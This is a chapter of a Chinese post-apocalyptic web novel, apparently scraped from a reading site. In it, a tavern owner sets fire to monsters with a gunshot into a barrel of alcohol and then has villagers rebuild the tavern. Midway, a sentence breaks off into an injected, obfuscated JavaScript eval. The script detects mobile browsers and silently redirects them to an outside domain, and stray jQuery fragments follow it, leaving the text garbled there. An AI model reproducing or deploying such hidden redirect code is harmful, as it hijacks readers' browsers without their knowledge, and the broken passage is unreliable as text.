14. 酒馆

作品:《伪人在末世开酒馆[基建]

    “你在干什么!!”二把手怒吼,抓着宁筠的衣领,“伪人进来了啊,你怎么不开抢?!”


    宁筠仍是低着头,默默将枪管放在他的下巴上,“我有办法,想活就别抵抗,跟着我。”


    二把手深吸了口气,声音放缓:“现在伪人进来了,你有什么办法,也要把屋子里的伪人消灭干净。”


    “你还有朋友呢,想想她,好不好?”


    齐荦荦脸色苍白,但听到二把手的诱导,坚强地拍案而起:“我这条命是她捡回来的,她要我死都无所谓!”


    气得二把手一阵牙疼,又打不过她,只能将气往肚子里憋。


    他指挥着村民,试图将伪人击倒在窗户旁边。压抑着恐惧的村民们,磨磨蹭蹭地走到窗户旁,瞬间愣在了原地。


    伪人们扬着笑容,像是在脸上被划开一道口子,无数鲜血顺着嘴角流下。村民们睁大了眼睛,惊叫声压抑在嘴边,无论如何怎么也发不出来。


    紧接着是第二个惨叫声想起。


    “啊!好痛啊!它在吃我的脖子,你们谁快来救——”


    是距离厨房最近的那扇窗户。


    没有人敢救他。


    惨叫声逐渐微弱,直至断开,村民的头也跟着断到了地上。自头颅而上,一双眼睛睁得浑圆,面色愤怒,滚过众人的面前,似乎在质疑为什么没人救他。


    大家顾不上他,因为又有其他人被伪人咬断了脖子。


    痛苦声和哀嚎声遍及了整个酒馆,幸存的村民用怨恨的眼神看着宁筠,却又不得不靠近着宁筠。


    ——因为她有枪,至少要比他们这群握着铁锹的,有杀伤力得多。


    伪人们越来越多,逐渐围绕着众人,扭曲地笑着,又不挺地蹒跚前行,形成了一个圆圈。


    吃到肉的伪人们逐渐变幻了模样,一个个变成了他们曾经熟知的同伴。


    “老石,你怎么不救我啊?”


    “我回不去啦!都怪你们——”


    “别吃我,好痛啊!”


    窒息的惨叫声,还有村民们临死前的痛苦表情,被伪人们学了个十成十,又摆出来来给村民们看。


    在此刻,这些伪人不是伪人,而是化成死者怨灵的伥鬼。


    有人承受不住这样的心理压力,跪在地上,求着为人们的原谅。


    “对不起……对不起,现在你也要来吃我了吗?”


    其中一个村民喃喃道,下意识地爬出人群,拥抱着其中一个伪人。


    被拥抱的伪人露出了诡异的笑容,脖子上张开了血淋淋的嘴。


    时机到了。


    宁筠抬起枪,无数镜头在她面前变成了慢动作,她慢悠悠地抬起枪,又看着子弹慢悠悠地穿过酒馆上的酒。


    “砰——”


    好似天边的惊雷响在耳边,那声音震得人耳鼓生疼,心脏也随之震颤。


    那是酒馆的方向,火红色的火焰狰狞着,从酒架上猛然窜出,瞬间吞噬掉了距离极近的伪人,将其燃成了灰烬。


    伪人替他们挡了灾,除了抱紧伪人的那个,所有人毫发无伤。


    村民们目瞪口呆。


    直到缓过神后才发现,他们不知道什么时候,居然跟着宁筠蹲在了距离酒柜最远的角落里。


    这人怎么做到的?


    几乎是所有村民的疑问,他们忘记了刚刚还怨恨着、咒骂着宁筠,在这一时刻,他们什么都骂不出来,又什么都说不出来。


    “谢谢你。”二把手沉默了好久,才蹦出来这一句。


    许久没有听到声音,二把手正以为是小姑娘不太爱说话,正打算好好和她说几句,结果一转头,人没了,再一看,人早已顺着窗户跑了。


    二把手:???


    再一回头,那火苗又往上窜了几窜,滚滚浓烟散开,悬梁发出了崩裂的声音,无数歪曲斜扭的空气下,发出了凄厉扭曲的哀嚎声。


    有几个机灵的已经翻窗户逃跑了。


    二把手:“……”


    他笑骂了一句,望着自己无法动弹的双腿,将所有村民推出窗户外。火苗已经燃烧到他的眉眼,他也只是笑着催促着,“快跑吧,一会别烧到了。”


    有几个村民还想拉他一把,但二把手已经闭上了眼,呼吸声逐渐平稳,像是在拥抱死神。


    他们一边哭一边抹眼泪,然后越跑越远。


    “俺们回去后给你立个石碑!”


    “到时候给你最大最好的米!”


    二把手听着这些话,还是没憋住眼泪,感叹了一句:“我真的不想死啊——”


    确实没死成。


    宁筠已经从湖水旁跑了回来,比了个ok的手势,齐荦荦就开始连接着抽水机。


    发电机与抽水机一连接,随着一声轰鸣,瘪成一团的水管瞬间鼓起,另一端喷起了强大的水流,对着摇曳的火苗冲了过去。


    水势凶猛,至少齐荦荦很难握得住,几个村民也自发帮忙,一起压制着水管。


    二把手紧闭着眼睛,向前一跌,“啪叽”一声脸着了地。地面潮湿,隐隐还带着微甜的回甘。


    他茫然地抬头,不知何处来的水流横冲直撞,水流所到之处,火焰不停退缩,肆虐的大火逐渐被压缩,就像刚刚的他们被伪人围剿一般,纷纷熄灭,最终化作了一缕缕青烟消散在空中。


    这几十分钟的翻转太多,二把手的脑子有点不够用了。


    “我们……活下来了?”


    直到听到村民们茫然地声音,二把手如梦初醒。


    他活下来了。


    宁筠的声音很稳定,也很不要脸,“各位要是有意愿,可以帮我建设一下酒馆。”


    仿佛刚刚不是因为心疼酒馆,而是为了专门救他们而灭火一样。


    村民们处于重试生命的感恩期,连想都没想,就答应了下来。


    其中一个村民笑呵呵的,“举手之劳!举手之劳!”


    另一个村民摆摆手,“你说要干什么,我们能帮的都帮!”


    二把手:“……”


    总感觉有哪里不对。


    村民们知道外界危险,随行带了许多药物,其中一个手脚健全的村民将三轮车里的药物拿了出来,互相上药,包扎着绷带,完全看不出之前的针锋相对。


    “你怎么想出来要炸了酒柜的?”齐荦荦小声地问。


    宁筠也悄悄地说:“我看到了里面有一桶酒精。”


    “所以呢?”


    “子弹穿过钢铁产生了火花,顺便引燃了酒精,就这么简单。”


    这是大学里才会学过的知识吧!


    齐荦荦一脸崇拜,在心里将宁筠从猎人大佬,变成了高智商猎人大佬。


    地板被火焰烧过,呈现一种漆黑的碳色,又被水浸泡过,这段碳色就变成了混成泥的碎渣,周围的木质家具皆是如此。


    宁筠走到哪里,地板和家具就碎到哪里。


    心痛。


    宁筠垂下眼,遮掩住情绪,强行将自己的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880711|159806||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    注意力放在别处。


    天花板……天花板也是碎得厉害,整块墙皮脱落,露出了里面的钢筋结构。


    桌子……桌子漆黑一片,上面的筷子完全不能用了。


    她又把视线看向了厨房,厨房……


    宁筠“啧”了一声,不打算继续看了。


    好好的温馨风格酒馆变成了战争风。


    她视线一转,落在了村民身上。


    彼时村民刚发现被遗忘在角落的二把手,递给了他几卷绷带,二把手刚缠下几圈,突然觉得心下一惊,手一抖,绷带断了线,鲜血又从绷带里向外渗出。他左右看了看,似乎没什么不对的地方。


    他继续缠着绷带,心想自己一定是得了后遗症。


    第二天一早,村民们被忽悠着进行了灾后重建。


    列车的停留时间为三天,间隔为一周,无家可归的村民们就成为了免费的临时工。


    也有几个村民表示疑惑,但宁筠掏出了蓝色真理后,那几个疑惑的村民就没有问题了。


    宁筠物尽其用,而且怕村民们术后有什么风险,还贴心地准备了几副轮椅,收获了村民们的一致好评。


    她指挥着:“再偏一偏,再偏一点,对对就是哪里,放下吧。”


    一个全新的酒柜落了地。


    附近满是别墅豪宅,依山傍水,交通发达,再不济也是个富饶之地。


    又到别墅里搜刮一番后,又坚定了宁筠的想法。


    别墅里各个带有酒柜,上好的木材,还有高端的桌子椅子,以及不少废弃材料,不仅够她们战后重建,而且还可以建设些别的什么东西。


    村民们不止会种地,在农闲时,也会出去接一些建筑上的私活。


    比如刮大白,又比如接水管。


    十分的好用。


    宁筠毫不客气,搬走材料,拆东墙补西墙,没想到酒馆还有了几分原来的模样。


    她满意地看着新建起来的酒馆,又像上次看着村民们一样的眼神,若有所思。


    二把手的心又惊了一下,没找到原因,最终把这些归咎于自己年纪大了,经不住折腾。


    活下来的村民还有四个,腿上都受了伤,宁筠不太好使唤他们,也只是叮嘱他们好好养伤。


    没事推他们下楼遛遛弯,在丛林或平原旁感受着乡野的气息。


    不管村民有没有宁静下来,宁筠心里平静了不少。


    于是她说出了自己的目的。


    “你们会修城墙吗?”宁筠问。


    “会……会吧?”


    宁筠“嗯”了一声,成功让二把手的心颤了第三次。


    距离第二次列车到来的前一天晚上。


    一股浓郁的酒香便扑面而来,忙碌了几天的村民们欢声笑语,在歌声与酒杯的碰撞声中,宁筠端来了自己刚调好的酒。


    本着经营酒馆就一定会调酒的信任感,村民们闻都没闻,一口气喝下了黑糊糊的液体,然后在宁筠的注视下,一个接一个地倒了下去。


    不知是谁最后迷糊糊地说了句“有人下毒”,吓得齐荦荦把到嘴边的酒吐了出来。


    宁筠不信邪地尝了一口:“……”


    算了,还是找个酒保吧。


    又一趟列车行驶,宁筠向着几个黑……村民道别,满意地在城墙下穿来穿去。


    这是村民们留下来的杰作——一个可以抵御伪人的城墙。


    当然,是村民们自愿的,她可没有拿枪逼迫别人的习惯。